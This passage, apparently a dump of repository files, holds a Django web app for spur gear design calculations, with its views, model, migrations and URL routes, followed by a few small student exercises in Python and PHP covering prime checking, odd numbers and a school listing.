GearCreate(LoginRequiredMixin, CreateView):\n\n model = Gear\n form_class = GearForm\n template_name = \"first.html\"\n\n def form_valid(self, form):\n \"\"\"If the form is valid, save the associated model.\"\"\"\n self.object = form.save(commit=False)\n self.object.user = self.request.user\n\n fs = self.object.fs\n HP = self.object.HP\n Np = self.object.Np\n Pd = self.object.Pd\n Wg = self.object.Wg\n Wp = self.object.Wp\n hrs = self.object.hrs\n q = self.object.q\n Ep = self.object.Ep\n Eg = self.object.Eg\n Vp = self.object.Vp\n Vg = self.object.Vg\n\n P = round(math.pi / Pd, 4)\n\n if Pd >= 5:\n self.object.ks = 1.0\n elif 4 <= Pd < 5:\n self.object.ks = 1.05\n elif 3 <= Pd < 4:\n self.object.ks = 1.15\n elif 2 <= Pd < 3:\n self.object.ks = 1.25\n elif 1.25 <= Pd < 2:\n self.object.ks = 1.40\n\n if self.object.Np == 18.0:\n self.object.angle = 20.0\n elif self.object.Np == 12.0:\n self.object.angle = 25.0\n elif self.object.Np == 32.0:\n self.object.angle = 14.5\n\n self.object.RV = round(Wp / Wg, 4)\n\n angle = self.object.angle\n\n PotD = HP * fs\n Ng = round((Wp / Wg) * Np)\n Dp = Np / Pd\n Dg = Ng / Pd\n Vt = round((math.pi * Dp * Wp) / 12, 4)\n C = round((Np + Ng) / (2 * Pd), 4)\n Ft = round((33000 * PotD) / Vt, 4)\n F = 12 / Pd\n\n ctecpp = (1 - (Vp**2)) / Ep\n ctecpg = (1 - (Vg**2)) / Eg\n denom = math.pi * (ctecpp + ctecpg)\n Cp = math.sqrt(1 / denom)\n\n if Vt < 800:\n A = 10\n elif 800 <= Vt < 2000:\n A = 8\n elif 2000 <= Vt < 4000:\n A = 6\n else:\n A = 4\n B = 0.25 * ((A - 5)**0.667)\n Cprime = 50 + (56 * (1 - B))\n kv = round((Cprime / (Cprime + math.sqrt(Vt)))**(-B), 4)\n\n if F < 1:\n Cpf = (F / (10 * Dp)) - 0.025\n else:\n Cpf = (F / (10 * Dp)) - 0.0375 + (0.0125 * F)\n Cpf = round(Cpf, 4)\n\n a = round(1 / Pd, 4)\n b = round(1.25 / Pd, 4)\n c = round(0.25 / Pd, 4)\n\n Dep = round((Np + 2) / Pd, 4)\n Deg = round((Ng + 2) / Pd, 4)\n\n Drp = round(Dp - (2 * b), 4)\n Drg = round(Dg - (2 * b), 4)\n\n ht = a + b\n hk = 2 * a\n t = round(math.pi / (2 * Pd), 4)\n\n L = hrs * 365 * 5\n Ncp = 60 * L * q * Wp\n Ncg = 60 * L * q * Wg\n\n Dbp = round(Dp * math.cos(math.radians(angle)), 4)\n Dbg = round(Dg * math.cos(math.radians(angle)), 4)\n\n self.object.PotD = PotD\n self.object.Ng = Ng\n self.object.Dp = Dp\n self.object.Dg = Dg\n self.object.Vt = Vt\n self.object.C = C\n self.object.Ft = Ft\n self.object.F = F\n self.object.P = P\n self.object.Cp = Cp\n self.object.Av = A\n self.object.kv = kv\n self.object.Cpf = Cpf\n self.object.addendum = a\n self.object.dedendum = b\n self.object.clair = c\n self.object.Dep = Dep\n self.object.Deg = Deg\n self.object.Drp = Drp\n self.object.Drg = Drg\n self.object.depth_total = ht\n self.object.work_depth = hk\n self.object.t = t\n self.object.Dbp = Dbp\n self.object.Dbg = Dbg\n self.object.L = L\n self.object.Ncp = Ncp\n self.object.Ncg = Ncg\n\n self.object.save()\n return super(GearCreate, self).form_valid(form)\n\n def get_success_url(self):\n return reverse('design:continue', kwargs={'gear_id': self.object.id})\n\n\nclass SecondView(LoginRequiredMixin, UpdateView):\n\n model = Gear\n form_class = GearForm2\n pk_url_kwarg = 'gear_id'\n context_object_name = 'gear'\n template_name = \"second.html\"\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n\n Ynp_choice = form.cleaned_data['Ynp']\n Znp_choice = form.cleaned_data['Znp']\n Yng_choice = form.cleaned_data['Yng']\n Zng_choice = form.cleaned_data['Zng']\n aligment_type_choice = form.cleaned_data['aligment_type']\n\n if aligment_type_choice == 'Open gearing':\n Cma = 0.247 + (0.0167 * self.object.F) - (0.765 * (10**-4) * (self.object.F ** 2))\n elif aligment_type_choice == 'Commercial enclosed gear units':\n Cma = 0.127 + (0.0158 * self.object.F) - (1.093 * (10**-4) * (self.object.F ** 2))\n elif aligment_type_choice == 'Precision enclosed gear units':\n Cma = 0.0657 + (0.0128 * self.object.F) - (0.926 * (10**-4) * (self.object.F ** 2))\n elif aligment_type_choice == 'Extra-precision enclosed gear units':\n Cma = 0.0380 + (0.0102 * self.object.F) - (0.822 * (10**-4) * (self.object.F ** 2))\n self.object.Cma = round(Cma, 4)\n\n self.object.km = round(1.0 + self.object.Cpf + self.object.Cma, 4)\n\n if Ynp_choice == '1':\n Ynp = 9.4518 * (self.object.Ncp**-0.148)\n elif Ynp_choice == '2':\n Ynp = 6.1514 * (self.object.Ncp**-0.1192)\n elif Ynp_choice == '3':\n Ynp = 4.9404 * (self.object.Ncp**-0.1045)\n elif Ynp_choice == '4':\n Ynp = 3.517 * (self.object.Ncp**-0.0817)\n elif Ynp_choice == '5':\n Ynp = 2.3194 * (self.object.Ncp**-0.0538)\n elif Ynp_choice == '6':\n Ynp = 1.3558 * (self.object.Ncp**-0.0178)\n self.object.Ynp = round(Ynp, 4)\n\n if Znp_choice == '1':\n Znp = 2.466 * (self.object.Ncp**-0.056)\n elif Znp_choice == '2':\n Znp = 1.249 * (self.object.Ncp**-0.0138)\n elif Znp_choice == '3':\n Znp = 1.4488 * (self.object.Ncp**-0.023)\n self.object.Znp = round(Znp, 4)\n\n if Yng_choice == '1':\n Yng = 9.4518 * (self.object.Ncg**-0.148)\n elif Yng_choice == '2':\n Yng = 6.1514 * (self.object.Ncg**-0.1192)\n elif Yng_choice == '3':\n Yng = 4.9404 * (self.object.Ncg**-0.1045)\n elif Yng_choice == '4':\n Yng = 3.517 * (self.object.Ncg**-0.0817)\n elif Yng_choice == '5':\n Yng = 2.3194 * (self.object.Ncg**-0.0538)\n elif Yng_choice == '6':\n Yng = 1.3558 * (self.object.Ncg**-0.0178)\n self.object.Yng = round(Yng, 4)\n\n if Zng_choice == '1':\n Zng = 2.466 * (self.object.Ncg**-0.056)\n elif Zng_choice == '2':\n Zng = 1.249 * (self.object.Ncg**-0.0138)\n elif Zng_choice == '3':\n Zng = 1.4488 * (self.object.Ncg**-0.023)\n self.object.Zng = round(Zng, 4)\n\n Stp = (self.object.Ft * self.object.Pd) / (self.object.F * self.object.Jp)\n Stp = Stp * self.object.fs * self.object.ks * self.object.km * self.object.kb * self.object.kv\n Stg = Stp * (self.object.Jp / self.object.Jg)\n self.object.Stp = round(Stp, 4)\n self.object.Stg = round(Stg, 4)\n\n Satp = (Stp * self.object.kr * self.object.SF) / self.object.Ynp \n Satg = (Stg * self.object.kr * self.object.SF) / self.object.Yng\n self.object.Satp = round(Satp, 4)\n self.object.Satg = round(Satg, 4)\n\n Sc = self.object.Ft * self.object.fs * self.object.ks * self.object.km * self.object.kv\n Sc = Sc / (self.object.F * self.object.Dp * self.object.I)\n Sc = self.object.Cp * math.sqrt(Sc)\n self.object.Sc = round(Sc, 4)\n\n Sacp = (Sc * self.object.kr * self.object.SF) / self.object.Znp\n Sacg = (Sc * self.object.kr * self.object.SF) / self.object.Zng\n self.object.Sacp = round(Sacp, 4)\n self.object.Sacg = round(Sacg, 4)\n\n HBp = (Sacp - 29100) / 0.322\n HBg = (Sacg - 29100) / 0.322\n self.object.HBp = round(HBp, 4)\n self.object.HBg = round(HBg, 4)\n\n return super(SecondView, self).form_valid(form)\n\n def get_success_url(self):\n return reverse('design:final', args=[self.object.id])\n\n\nclass FinalUpdate(LoginRequiredMixin, UpdateView):\n\n model = Gear\n form_class = GearForm3\n pk_url_kwarg = 'gear_id'\n context_object_name = 'gear'\n template_name = 'third.html'\n\n def get_success_url(self):\n return self.object.get_absolute_url()\n\n\nclass GearDetail(LoginRequiredMixin, DetailView):\n\n model = Gear\n pk_url_kwarg = 'gear_id'\n template_name = \"test.html\"\n context_object_name = 'gear'\n\n\nclass UserDetail(LoginRequiredMixin, DetailView):\n\n model = User\n pk_url_kwarg = 'user_id'\n template_name = \"users/user.html\"\n context_object_name = 'user'\n\n\nclass FirstView(LoginRequiredMixin, RedirectView):\n\n def get_redirect_url(self, *args, **kwargs):\n return reverse('design:user', kwargs={'user_id': self.request.user.id})\n" }, { "alpha_fraction": 0.5991967916488647, "alphanum_fraction": 0.6052208542823792, "avg_line_length": 54.33333206176758, "blob_id": "af725dca053b30deb1007c3423c8c9b9df702739", "content_id": "5d111dd143649a249fde3c2cbc2b9338298b3467", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2501, "license_type": "permissive", "max_line_length": 118, "num_lines": 45, "path": "/src/design/migrations/0001_initial.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-05-31 18:45\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Gear',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('fs', models.FloatField(blank=True, null=True, verbose_name='factor de servicio')),\n ('HP', models.FloatField(blank=True, null=True, verbose_name='potencia de motor')),\n ('Np', models.FloatField(blank=True, null=True, verbose_name='dientes del piñón')),\n ('angle', models.FloatField(blank=True, null=True, verbose_name='ángulo')),\n ('Pd', models.FloatField(blank=True, null=True, verbose_name='paso diametral del engrane')),\n ('Wg', models.FloatField(blank=True, null=True, verbose_name='RPMs del engrane')),\n ('Wp', models.FloatField(blank=True, null=True, verbose_name='RPMs del piñón')),\n ('PotD', models.FloatField(blank=True, null=True, verbose_name='potencia de diseño')),\n ('Ng', models.FloatField(blank=True, null=True, verbose_name='dientes del engrane')),\n ('Dp', models.FloatField(blank=True, null=True, verbose_name='paso diametral del piñón')),\n ('Vt', models.FloatField(blank=True, null=True, verbose_name='velocidad tangencial')),\n ('C', models.FloatField(blank=True, null=True, verbose_name='distancia entre centros')),\n ('Ft', models.FloatField(blank=True, null=True, verbose_name='fuerza transmitida')),\n ('F', models.FloatField(blank=True, null=True, verbose_name='ancho de la cara')),\n ('Av', models.IntegerField(blank=True, null=True, verbose_name='Calidad')),\n ('kv', models.FloatField(blank=True, null=True)),\n ('Cpf', models.FloatField(blank=True, null=True, verbose_name='factor de proporción del piñón')),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Gear',\n 'verbose_name_plural': 'Gears',\n },\n ),\n ]\n" }, { "alpha_fraction": 0.5194174647331238, "alphanum_fraction": 0.594660222530365, "avg_line_length": 21.88888931274414, "blob_id": "a5e255f50c20661acab08609fd26ceaaadb9a50d", "content_id": "d4da1bd8aa3df1e4b05c9969bda654446cfd4a52", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 413, "license_type": "permissive", "max_line_length": 85, "num_lines": 18, "path": "/src/design/migrations/0016_gear_rv.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-04 16:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0015_auto_20190603_2231'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='RV',\n field=models.FloatField(null=True, verbose_name='Relación de Velocidad'),\n ),\n ]\n" }, { "alpha_fraction": 0.5316455960273743, "alphanum_fraction": 0.5901898741722107, "avg_line_length": 26.478260040283203, "blob_id": "949c5af6472e89a4a8ea28ff800460c64d7e4092", "content_id": "5fb2bf30368dd62508d0507f575e6a2e1543438b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 634, "license_type": "permissive", "max_line_length": 99, "num_lines": 23, "path": "/src/design/migrations/0015_auto_20190603_2231.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-04 03:31\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0014_auto_20190603_2204'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='materialg',\n field=models.CharField(max_length=100, null=True, verbose_name='Material del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='materialp',\n field=models.CharField(max_length=100, null=True, verbose_name='Material del piñón'),\n ),\n ]\n" }, { "alpha_fraction": 0.5331928133964539, "alphanum_fraction": 0.549525797367096, "avg_line_length": 31.724138259887695, "blob_id": "2a5c27fa60109de897071527fdc09ed2e4c7a0c7", "content_id": "b7ff7a037238fbfb045c9da028a1af45e04b76d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1907, "license_type": "permissive", "max_line_length": 97, "num_lines": 58, "path": "/src/design/migrations/0006_auto_20190602_1934.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 00:34\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0005_auto_20190602_1652'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Eg',\n field=models.FloatField(null=True, verbose_name='Módulo de elasticidad del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Ep',\n field=models.FloatField(null=True, verbose_name='Módulo de elasticidad del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='L',\n field=models.FloatField(null=True, verbose_name='Vida del componente'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Ncg',\n field=models.FloatField(null=True, verbose_name='Vida del engrane en ciclos'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Ncp',\n field=models.FloatField(null=True, verbose_name='Vida del piñón en ciclos'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Vg',\n field=models.FloatField(null=True, verbose_name='Cte de poison del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Vp',\n field=models.FloatField(null=True, verbose_name='Cte de poison del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='hrs',\n field=models.FloatField(null=True, verbose_name='Horas de trabajo por día'),\n ),\n migrations.AddField(\n model_name='gear',\n name='q',\n field=models.FloatField(null=True, verbose_name='Aplicaciones de carga por rev'),\n ),\n ]\n" }, { "alpha_fraction": 0.5329224467277527, "alphanum_fraction": 0.5374323725700378, "avg_line_length": 21.472972869873047, "blob_id": "018e42cfa85284686304826315333a89fa9e63eb", "content_id": "79ed3ae485b53f18a8be449b3e23cf01e3c90bc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6710, "license_type": "permissive", "max_line_length": 67, "num_lines": 296, "path": "/src/design/models.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "\"\"\"Gear Design models.\"\"\"\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.contrib.auth.models import User\n\n\nclass Gear(models.Model):\n \"\"\"Gear Design.\"\"\"\n\n Np_CHOICES = (\n (12.0, 12.0),\n (18.0, 18.0),\n (32.0, 32.0),\n )\n\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n )\n fs = models.FloatField(\n 'Factor de servicio',\n null=True,\n )\n HP = models.FloatField(\n 'Potencia de motor',\n null=True,\n )\n Np = models.FloatField(\n 'Dientes del piñón',\n choices=Np_CHOICES,\n null=True,\n )\n angle = models.FloatField(\n 'Ángulo',\n null=True,\n )\n Pd = models.FloatField(\n 'Paso diametral',\n null=True,\n )\n Wg = models.FloatField(\n 'RPMs del engrane',\n null=True,\n )\n Wp = models.FloatField(\n 'RPMs del piñón',\n null=True,\n )\n PotD = models.FloatField(\n 'Potencia de diseño',\n null=True,\n )\n Ng = models.FloatField(\n 'Dientes del engrane',\n null=True,\n )\n RV = models.FloatField(\n 'Relación de Velocidad',\n null=True,\n )\n Dp = models.FloatField(\n 'Diametro de paso del piñón',\n null=True,\n )\n Dg = models.FloatField(\n 'Diametro de paso del engrane',\n null=True,\n )\n P = models.FloatField(\n 'Paso circular',\n null=True,\n )\n Vt = models.FloatField(\n 'Velocidad tangencial',\n null=True,\n )\n C = models.FloatField(\n 'Distancia entre centros',\n null=True,\n )\n Ft = models.FloatField(\n 'Fuerza transmitida',\n null=True,\n )\n F = models.FloatField(\n 'Ancho de la cara',\n null=True,\n )\n Cp = models.FloatField(\n 'Constante de elasticidad',\n null=True,\n )\n Av = models.IntegerField(\n 'Calidad',\n null=True,\n )\n Jp = models.FloatField(\n 'Factor geométrico del piñón',\n null=True,\n )\n Jg = models.FloatField(\n 'Factor geométrico del engrane',\n null=True,\n )\n I = models.FloatField(\n 'Factor geométrico',\n null=True,\n )\n kv = models.FloatField(\n 'Factor dinámico',\n null=True,\n )\n kb = models.FloatField(\n 'Factor de espesor de la corona',\n default=1.0,\n )\n SF = models.FloatField(\n 'Factor de seguridad',\n default=1.0,\n )\n kr = models.FloatField(\n 'Factor de confiabilidad',\n default=1.0,\n )\n ks = models.FloatField(\n 'Factor de tamaño',\n null=True,\n )\n km = models.FloatField(\n 'Factor de distribución de carga',\n null=True,\n )\n Cpf = models.FloatField(\n 'Factor de proporción del piñón',\n null=True,\n )\n Cma = models.FloatField(\n 'Factor de alineación',\n null=True,\n )\n addendum = models.FloatField(\n 'Addendum',\n null=True,\n )\n dedendum = models.FloatField(\n 'Dedendum',\n null=True,\n )\n clair = models.FloatField(\n 'Claro',\n null=True,\n )\n Dep = models.FloatField(\n 'Diametro exterior del piñón',\n null=True,\n )\n Deg = models.FloatField(\n 'Diametro exterior del engrane',\n null=True,\n )\n Drp = models.FloatField(\n 'Diametro de raíz del piñón',\n null=True,\n )\n Drg = models.FloatField(\n 'Diametro de raíz del engrane',\n null=True,\n )\n depth_total = models.FloatField(\n 'Profunidad total',\n null=True,\n )\n work_depth = models.FloatField(\n 'Profunidad de trabajo',\n null=True,\n )\n t = models.FloatField(\n 'Espesor de diente',\n null=True,\n )\n Dbp = models.FloatField(\n 'Diametro de círculo base del piñón',\n null=True,\n )\n Dbg = models.FloatField(\n 'Diametro de círculo base del engrane',\n null=True,\n )\n Ep = models.FloatField(\n 'Módulo de elasticidad del piñón',\n null=True,\n )\n Eg = models.FloatField(\n 'Módulo de elasticidad del engrane',\n null=True,\n )\n Vp = models.FloatField(\n 'Cte de poison del piñón',\n null=True,\n )\n Vg = models.FloatField(\n 'Cte de poison del engrane',\n null=True,\n )\n hrs = models.FloatField(\n 'Horas de trabajo por día',\n null=True,\n )\n L = models.FloatField(\n 'Vida del componente',\n null=True,\n )\n q = models.FloatField(\n 'Aplicaciones de carga por rev',\n null=True,\n )\n Ncp = models.FloatField(\n 'Vida del piñón en ciclos',\n null=True,\n )\n Ncg = models.FloatField(\n 'Vida del engrane en ciclos',\n null=True,\n )\n Ynp = models.FloatField(\n 'Factor de fuerza por estres del piñón',\n null=True,\n )\n Znp = models.FloatField(\n 'Factor de resistencia por picaduras del piñón',\n null=True,\n )\n Yng = models.FloatField(\n 'Factor de fuerza por estres del engrane',\n null=True,\n )\n Zng = models.FloatField(\n 'Factor de resistencia por picaduras del engrane',\n null=True,\n )\n Stp = models.FloatField(\n 'Esfuerzo de flexión en el piñón',\n null=True,\n )\n Stg = models.FloatField(\n 'Esfuerzo de flexión en el engrane',\n null=True,\n )\n Satp = models.FloatField(\n 'Esfuerzo de flexión ajustado en el piñón',\n null=True,\n )\n Satg = models.FloatField(\n 'Esfuerzo de flexión ajustado en el engrane',\n null=True,\n )\n Sc = models.FloatField(\n 'Esfuerzo de contacto',\n null=True,\n )\n Sacp = models.FloatField(\n 'Esfuerzo de contacto ajustado en el piñón',\n null=True,\n )\n Sacg = models.FloatField(\n 'Esfuerzo de contacto ajustado en el engrane',\n null=True,\n )\n HBp = models.FloatField(\n 'Dureza Brinell para el piñón',\n null=True,\n )\n HBg = models.FloatField(\n 'Dureza Brinell para el engrane',\n null=True,\n )\n materialp = models.CharField(\n 'Material del piñón',\n max_length=100,\n null=True,\n )\n materialg = models.CharField(\n 'Material del engrane',\n max_length=100,\n null=True,\n )\n\n class Meta:\n verbose_name = \"Gear\"\n verbose_name_plural = \"Gears\"\n\n def __str__(self):\n return 'Engrane: {}'.format(self.id)\n\n def get_absolute_url(self):\n return reverse('design:gear', args=[self.user.id, self.id])\n" }, { "alpha_fraction": 0.5330040454864502, "alphanum_fraction": 0.5469241142272949, "avg_line_length": 31.75, "blob_id": "342baa45a77134576df8515c20f08264157c0e8b", "content_id": "7cbf57709008356e9e9a6e0b2585da926def5bf5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2233, "license_type": "permissive", "max_line_length": 93, "num_lines": 68, "path": "/src/design/migrations/0003_auto_20190531_1947.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-01 00:47\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0002_auto_20190531_1532'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Deg',\n field=models.FloatField(null=True, verbose_name='Diametro exterior del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Dep',\n field=models.FloatField(null=True, verbose_name='Diametro exterior del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Dg',\n field=models.FloatField(null=True, verbose_name='paso diametral del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Drg',\n field=models.FloatField(null=True, verbose_name='Diametro de raíz del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Drp',\n field=models.FloatField(null=True, verbose_name='Diametro de raíz del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='addendum',\n field=models.FloatField(null=True, verbose_name='Addendum'),\n ),\n migrations.AddField(\n model_name='gear',\n name='clair',\n field=models.FloatField(null=True, verbose_name='Claro'),\n ),\n migrations.AddField(\n model_name='gear',\n name='dedendum',\n field=models.FloatField(null=True, verbose_name='Dedendum'),\n ),\n migrations.AddField(\n model_name='gear',\n name='depth_total',\n field=models.FloatField(null=True, verbose_name='Profunidad total'),\n ),\n migrations.AddField(\n model_name='gear',\n name='t',\n field=models.FloatField(null=True, verbose_name='Espesor de diente'),\n ),\n migrations.AddField(\n model_name='gear',\n name='work_depth',\n field=models.FloatField(null=True, verbose_name='Profunidad de trabajo'),\n ),\n ]\n" }, { "alpha_fraction": 0.5275423526763916, "alphanum_fraction": 0.5275423526763916, "avg_line_length": 15.857142448425293, "blob_id": "6dfe6f4420ad61bf1fac5757ddf2f5113bf4b428", "content_id": "7162e609d9431e1cae47dbe91fab59c65b0ded50", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 472, "license_type": "permissive", "max_line_length": 51, "num_lines": 28, "path": "/src/users/urls.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "\"\"\"Users Urls.\"\"\"\nfrom django.contrib.auth import views as auth_views\nfrom django.urls import path\nfrom . import views\n\napp_name = 'users'\n\nurlpatterns = [\n\n # Users Views.\n path(\n 'signup/',\n views.signup,\n name='signup'\n ),\n path(\n 'logout/',\n views.logout_view,\n name='logout'\n ),\n path(\n 'login/',\n auth_views.LoginView.as_view(\n template_name='users/login.html'\n )\n ),\n\n]\n" }, { "alpha_fraction": 0.5311475396156311, "alphanum_fraction": 0.5819672346115112, "avg_line_length": 25.521739959716797, "blob_id": "e64b47552988eff1c9dadd08d4232ae0a8fd5ac4", "content_id": "67230b77fb26c4acd414e4f17eb6d54f87ed09e4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 612, "license_type": "permissive", "max_line_length": 94, "num_lines": 23, "path": "/src/design/migrations/0014_auto_20190603_2204.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-04 03:04\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0013_auto_20190603_1657'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='HBg',\n field=models.FloatField(null=True, verbose_name='Dureza Brinell para el engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='HBp',\n field=models.FloatField(null=True, verbose_name='Dureza Brinell para el piñón'),\n ),\n ]\n" } ]
21
dilekyayli/PG-1926
https://github.com/dilekyayli/PG-1926
d517cec7a8b7413cdf45cf8c014262bed726ba01
4666f092cc8c1edf3a2ffd9e4f66b9cc7a781fa4
11f4981d252d56de80f2990a2bb26dcb2e6c15ca
refs/heads/main
2023-02-28T16:34:56.927424
2021-02-13T17:38:26
2021-02-13T17:38:26
338,040,899
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5646438002586365, "alphanum_fraction": 0.59278804063797, "avg_line_length": 41.80769348144531, "blob_id": "aa9d140bf620569af5d52b6c84afd7cb297083a5", "content_id": "7daa591eef981548a53abfdbe7210fa52d14bb29", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1166, "license_type": "permissive", "max_line_length": 152, "num_lines": 26, "path": "/python ödevleri/hayalimdekiOkul.py", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "class School:\r\n def __init__(self, name, stype, lessons, classRooms, teachers, total):\r\n self.name = name\r\n self.stype = stype\r\n self.lessons = lessons\r\n self.classRooms = classRooms\r\n self.teachers = teachers\r\n self.total = total\r\n \r\n\r\nSchools = [\r\n School(\"Karamanoğlu Mehmet Bey\", \"İlkokul\", \"İlkokul müfredat dersleri(Türkçe, Hayat Bilgisi, Matematik vs.)\", 14, 40, 500),\r\n School(\"Yunus Emre\", \"Ortaokul\", \"Ortaokul müfredat dersleri(İnkılap Tarihi ve Atatürkçülük, Matematik, İngilizce vs.) & etkinlikler\", 20, 50, 400),\r\n School(\"Abdullah Tayyar\", \"Anadolu Lisesi\", \"Lise müfredat dersleri(Fizik, Kimya, Matematik vs.)\", 30, 60, 800),\r\n School(\"Akdeniz\", \"Üniversite\",\"Resmi ve seçmeli müfredat\", 250, 350, 30500)\r\n]\r\n\r\nfor school in Schools:\r\n print(\r\n 'Okul Adı: ' + school.name +'\\n',\r\n 'Okul Türü: ' + school.stype +'\\n',\r\n 'Okutulan Dersler: ' + school.lessons +'\\n',\r\n 'Sınıf/derslik Sayısı: ' + str(school.classRooms) +'\\n',\r\n 'Öğretmen Sayısı: ' + str(school.teachers) +'\\n',\r\n 'Mevcut: ' + str(school.total)\r\n )" }, { "alpha_fraction": 0.6103542447090149, "alphanum_fraction": 0.6185286045074463, "avg_line_length": 22.600000381469727, "blob_id": "12ee4acf9680c8c7b8736059d722de1ced887ded", "content_id": "a692d928dca97ea225e72adb0865c83ab13bdce7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "permissive", "max_line_length": 57, "num_lines": 15, "path": "/python ödevleri/tekSayiGuncellmesi.py", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "liste = []\r\ntek_liste = []\r\nliste_sayi = int(input('Kaç tane sayı girilecek: '))\r\n\r\nfor sor in range(liste_sayi):\r\n girilen_sayi = int(input('Sayıyı giriniz: '))\r\n liste.append(girilen_sayi)\r\n print(liste)\r\n\r\nfor sayi in liste:\r\n if(sayi%2==1):\r\n tek_liste.append(sayi)\r\n\r\ntek_liste.sort()\r\nprint('En büyük tek sayı: ' ,tek_liste[len(tek_liste)-1])" }, { "alpha_fraction": 0.5045207738876343, "alphanum_fraction": 0.5153707265853882, "avg_line_length": 17.13793182373047, "blob_id": "88722e5d6ef0279fc02c1bdf3eac908f9281d830", "content_id": "cb92e977fec05db41b762454dfa973ecc05ee63f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 571, "license_type": "permissive", "max_line_length": 72, "num_lines": 29, "path": "/php ödevleri/asalsayi.php", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "<html>\r\n <head>\r\n <title>Asal Sayı Kontrolü</title>\r\n </head>\r\n <body>\r\n <form action=\"asalsayi.php\" method=\"post\">\r\n Sayınız:<input type=\"text\"name=\"sayi\"><br><br>\r\n <input type=\"submit\" value=\"Gönder\">\r\n </form>\r\n<br><br>\r\n<?php\r\n $kontrol=0;\r\n$sayi= $_POST['sayi'];\r\n for ($a=2; $a<($sayi/2) ; $a++)\r\n {\r\n if($sayi%$a==0)\r\n {\r\n $kontrol=1;\r\n echo \"Sayınız Asal Sayı değildir. Çünkü $a ' e tam bölünmektedir.\";\r\n break;\r\n }\r\n }\r\n if($kontrol==0)\r\n {\r\n echo \" Sayınız Asal Sayıdır.\";\r\n }\r\n?>\r\n</body>\r\n</html>" }, { "alpha_fraction": 0.4677419364452362, "alphanum_fraction": 0.5322580933570862, "avg_line_length": 18.88888931274414, "blob_id": "efc64b82452e895c504497d8faca0f28424b4852", "content_id": "a197df2a40bf4e473bc9e7996fb99adf1fe4f71b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 186, "license_type": "permissive", "max_line_length": 31, "num_lines": 9, "path": "/python ödevleri/fizzBuzz.py", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", 